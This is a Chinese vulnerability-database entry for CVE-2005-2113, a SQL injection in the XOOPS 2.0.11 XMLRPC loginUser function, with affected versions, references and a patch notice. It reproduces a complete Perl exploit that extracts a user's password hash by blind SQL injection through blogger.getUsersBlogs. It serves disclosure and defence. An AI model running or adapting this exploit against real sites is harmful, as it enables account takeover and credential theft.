CVE-2005-2113
CVSS7.5
发布时间 :2005-07-05 00:00:00
修订时间 :2016-10-17 23:25:10
NMCOE    

[原文]SQL injection vulnerability in the loginUser function in the XMLRPC server in XOOPS 2.0.11 and earlier allows remote attackers to execute arbitrary SQL commands and bypass authentication via crafted values in an XML file, as demonstrated using the blogger.getPost method.


[CNNVD]XOOPS XMLRPC SQL注入漏洞(CNNVD-200507-010)

        XOOPS是一套开源得Web-CRM系统。
        XOOPS 2.0.11及之前版本的XMLRPC服务中的loginUser函数存在SQL注入漏洞。
        远程攻击者可通过XML文件中的特制值执行任意SQL命令并绕过认证,例如使用blogger.getPost方法。

- CVSS (基础分值)

CVSS分值: 7.5 [严重(HIGH)]
机密性影响: [--]
完整性影响: [--]
可用性影响: [--]
攻击复杂度: [--]
攻击向量: [--]
身份认证: [--]

- CPE (受影响的平台与产品)

cpe:/a:xoops:xoops:2.0
cpe:/a:xoops:xoops:2.0.9.3
cpe:/a:xoops:xoops:2.0.7
cpe:/a:xoops:xoops:2.0.6
cpe:/a:xoops:xoops:2.0.9
cpe:/a:xoops:xoops:2.0.5.2
cpe:/a:xoops:xoops:2.0.5.1
cpe:/a:xoops:xoops:2.0.9.2
cpe:/a:xoops:xoops:2.0.11
cpe:/a:xoops:xoops:2.0.10
cpe:/a:xoops:xoops:2.0.3
cpe:/a:xoops:xoops:2.0.2
cpe:/a:xoops:xoops:2.0.5
cpe:/a:xoops:xoops:2.0.4
cpe:/a:xoops:xoops:2.0.1

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2113
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2005-2113
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200507-010
(官方数据源) CNNVD

- 其它链接及资源

http://marc.info/?l=bugtraq&m=112006318512991&w=2
(UNKNOWN)  BUGTRAQ  20050629 XOOPS 2.0.11 && Earlier Multiple Vulnerabilities
http://www.gulftech.org/?node=research&article_id=00086-06292005
(VENDOR_ADVISORY)  MISC  http://www.gulftech.org/?node=research&article_id=00086-06292005
http://www.xoops.org/modules/news/article.php?storyid=2383
(PATCH)  CONFIRM  http://www.xoops.org/modules/news/article.php?storyid=2383

- 漏洞信息

XOOPS XMLRPC SQL注入漏洞
高危 SQL注入
2005-07-05 00:00:00 2005-10-20 00:00:00
远程  
        XOOPS是一套开源得Web-CRM系统。
        XOOPS 2.0.11及之前版本的XMLRPC服务中的loginUser函数存在SQL注入漏洞。
        远程攻击者可通过XML文件中的特制值执行任意SQL命令并绕过认证,例如使用blogger.getPost方法。

- 公告与补丁

        目前厂商已经发布了升级补丁以修复这个安全问题,补丁下载链接:
        http://www.xoops.org/modules/core/

- 漏洞信息 (1082)

XOOPS <= 2.0.11 xmlrpc.php SQL Injection Exploit (EDBID:1082)
php webapps
2005-07-04 Verified
0 RusH
N/A [点击下载]
#!/usr/bin/perl

## Xoops <= 2.0.11 xmlrpc.php sql injection exploit by RST/GHC
## based on http://www.gulftech.org/?node=research&article_id=00086-06292005
## coded by 1dt.w0lf
## RST/GHC
## http://rst.void.ru 
## http://ghc.ru

## example:
## r57xoops.pl -u http://www.xoops2.ru/xmlrpc.php -n Alexxus
## ---------------------------------------------------------------
##   Xoops <= 2.0.11 xmlrpc.php sql injection exploit by RST/GHC
## ---------------------------------------------------------------
## [~]  URL : http://www.xoops2.ru/xmlrpc.php
## [~] NAME : Alexxus
## [~] SEARCHING PASSWORD ... [ DONE ]
## ---------------------------------------------------------------
##  USER NAME : Alexxus
##  USER HASH : a26c7baaa40ab863f9b22c8649427fa6
## ---------------------------------------------------------------

use LWP::UserAgent;
use Getopt::Std;

getopts('u:n:');

$url  = $opt_u;
$name = $opt_n;

if(!$url || !$name) { &usage; }

$s_num = 1;
$|++;
$n = 0;
&head;
print "\r\n";
print " [~]  URL : $url\r\n";
print " [~] NAME : $name\r\n";
print " [~] SEARCHING PASSWORD ... [|]";

while(1)
{
if(&found(47,58)==0) { &found(96,103); } 
$char = $i;
if ($char=="0") 
 { 
 if(length($allchar) > 0){
 print qq{\b\b DONE ] 
 ---------------------------------------------------------------
  USER NAME : $name
  USER HASH : $allchar
 ---------------------------------------------------------------
 };
 }
 else
 {
 print "\b\b FAILED ]";
 }
 exit();  
 }
else 
 {  
 $allchar .= chr($char); 
 }
$s_num++;
}

sub found($$)
 {
 my $fmin = $_[0];
 my $fmax = $_[1];
 if (($fmax-$fmin)<5) { $i=crack($fmin,$fmax); return $i; }
 
 $r = int($fmax - ($fmax-$fmin)/2);
 $check = "/**/BETWEEN/**/$r/**/AND/**/$fmax";
 if ( &check($check) ) { &found($r,$fmax); }
 else { &found($fmin,$r); }
 }
 
sub crack($$)
 {
 my $cmin = $_[0];
 my $cmax = $_[1];
 $i = $cmin;
 while ($i<$cmax)
  {
  $crcheck = "=$i";
  if ( &check($crcheck) ) { return $i; }
  $i++;
  }
 $i = 0;
 return $i;
 }
 
sub check($)
 {
 $n++;
 status();
 $ccheck = $_[0]; 

 $data  = '<?xml version="1.0"?>';
 $data .= '<methodCall>';
 $data .= '<methodName>blogger.getUsersBlogs</methodName>';
 $data .= '<params>';
 $data .= '<param>';
 $data .= '<value><string></string></value>';
 $data .= '</param>';
 $data .= '<param>';
 $data .= '<value><string>'.$name.'\' AND ascii(substring(pass,'.$s_num.',1))'.$ccheck.')/*</string></value>';
 $data .= '</param>';
 $data .= '</params>';
 $data .= '</methodCall>';

 $req = new HTTP::Request 'POST' => $url;
 $req->content_type('application/xml');
 $req->content($data);
 $ua = new LWP::UserAgent;
 $res = $ua->request($req);
 $reply= $res->content;
 if($reply =~ /Selected blog application does not exist/) { print "\n [-] NEWS BLOG DOES NOT EXIST =(\n [-] EXPLOIT FAILED!\n"; exit(); }
 if($reply =~ /User authentication failed/) { return 0; }
 else { return 1; }
 }
 
sub status()
{
  $status = $n % 5;
  if($status==0){ print "\b\b/]";  }
  if($status==1){ print "\b\b-]";  }
  if($status==2){ print "\b\b\\]"; }
  if($status==3){ print "\b\b|]";  }
}

sub usage()
 {
 &head;
 print q(
  USAGE:
  r57xoops.pl [OPTIONS]
  
  OPTIONS:
  -u [URL]      - path to xmlrpc.php
  -n [USERNAME] - user for bruteforce
  
  E.G.
  r57xoops.pl -u http://server/xoops/xmlrpc.php -n admin
 ---------------------------------------------------------------
 (c)oded by 1dt.w0lf
 RST/GHC , http://rst.void.ru , http://ghc.ru
 );
 exit();
 }
sub head()
 {
 print q(
 ---------------------------------------------------------------
   Xoops <= 2.0.11 xmlrpc.php sql injection exploit by RST/GHC
 ---------------------------------------------------------------
 );
 }

# milw0rm.com [2005-07-04]
		

- 漏洞信息

17635
XOOPS XMLRPC bloggerapi.php loginUser() Function SQL Injection
Remote / Network Access Information Disclosure, Input Manipulation
Loss of Confidentiality, Loss of Integrity
Exploit Public

- 漏洞描述

Unknown or Incomplete

- 时间线

2005-06-29 Unknow
2005-06-29 Unknow

- 解决方案

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站